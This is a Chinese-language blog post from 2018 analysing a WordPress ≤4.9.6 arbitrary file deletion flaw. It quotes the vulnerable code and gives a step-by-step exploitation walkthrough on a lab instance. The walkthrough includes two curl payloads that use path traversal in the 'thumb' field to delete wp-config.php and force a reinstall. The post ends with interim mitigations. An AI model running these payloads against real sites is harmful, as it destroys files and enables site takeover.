wordpress <= 4.9.6 任意文件删除漏洞

过了半年还未修复,真是无语了。

wordpress

近日RIPS曝出wordpress直至 4.9.6的版本依然存在一个任意文件删除漏洞,拥有author及类似权限的wordpress站点受到此漏洞威胁,攻击者可通过构造附件的’thumb’路径造成任意文件删除。严重的后果将导致攻击者获取站点管理员权限进而控制服务器。

 

恶意攻击者可以利用该漏洞删除WordPress建站配置文件wp-config.php,从而导致界面进入网站安装页面。漏洞原因为WordPress程序 unlink() 函数在处理的用户输入传递给文件删除功能时,未进行适当判断处理,导致任意文件删除。
为避免您的业务受影响,各个服务器商建议您及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。

以下是原作者博客:
https://blog.ripstech.com/

 
 

漏洞分析

 

1.文件wp-includes/post.php中:


function wp_delete_attachment( $post_id, $force_delete = false ) {
    ...
    $meta = wp_get_attachment_metadata( $post_id );
    ...
    if ( ! empty($meta['thumb']) ) {
        // Don't delete the thumb if another attachment uses it.
        if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
            $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
            /** This filter is documented in wp-includes/functions.php */
            $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
            @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
        }
    }
    ...
}


$meta[‘thumb’]来自与数据库,是图片的属性之一。代码未检查$meta[‘thumb’]的内容,直接带入unlink函数,如果$meta[‘thumb’]可控则可导致文件删除。

 

2.文件/wp-admin/post.php中:


...
switch($action) {
...
    case 'editattachment':
        check_admin_referer('update-post_' . $post_id);
        ...
        // Update the thumbnail filename
        $newmeta = wp_get_attachment_metadata( $post_id, true );
        $newmeta['thumb'] = $_POST['thumb'];

        wp_update_attachment_metadata( $post_id, $newmeta );
...


$newmeta[‘thumb’]来自于$_POST[‘thumb’],未经过滤直接将其存入数据库,即上一步的$meta[‘thumb’]可控。

 
 

漏洞利用

 
1.使用VSPlate安装你的Wordpress 4.9
Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/

wordpress <= 4.9.6 任意文件删除漏洞

 

2.登录后台,添加媒体
访问 http://9c9b.vsplate.me/wp-admin/upload.php, 上传任意图片.

wordpress <= 4.9.6 任意文件删除漏洞

 

3.将 $meta[‘thumb’] 设置为我们要删除的文件
点击第二步中我们上传的图片, 并记住图片ID.

wordpress <= 4.9.6 任意文件删除漏洞

4.访问 http://9c9b.vsplate.me/wp-admin/post.php?post=4&action=edit. 在网页源代码中找到 _wpnonce.

wordpress <= 4.9.6 任意文件删除漏洞

 

5.发送Payload:

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

wordpress <= 4.9.6 任意文件删除漏洞

 

6.删除文件
在网页源码中找到另外一个 _wpnonce.

wordpress <= 4.9.6 任意文件删除漏洞

 

7.发送Payload:

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'

wordpress <= 4.9.6 任意文件删除漏洞

 

8.刷新网页
已经可以重装网站。
wordpress <= 4.9.6 任意文件删除漏洞

 
 

漏洞补救

 
我在网上看到很多补救方法,有修改functions.php的,但不是官方给出的解决方案,就暂时不贴出来了。
本人得出的方案是:

1.关闭注册。
2.关闭用户上传功能。

这两个都只是暂时的办法,等待wordpress官方的答案。

0
蜗牛不带伞
蜗牛不带伞
发表于2018-07-05 7:07
标签 4.9.6wordpress严重漏洞漏洞 归档于 wordpress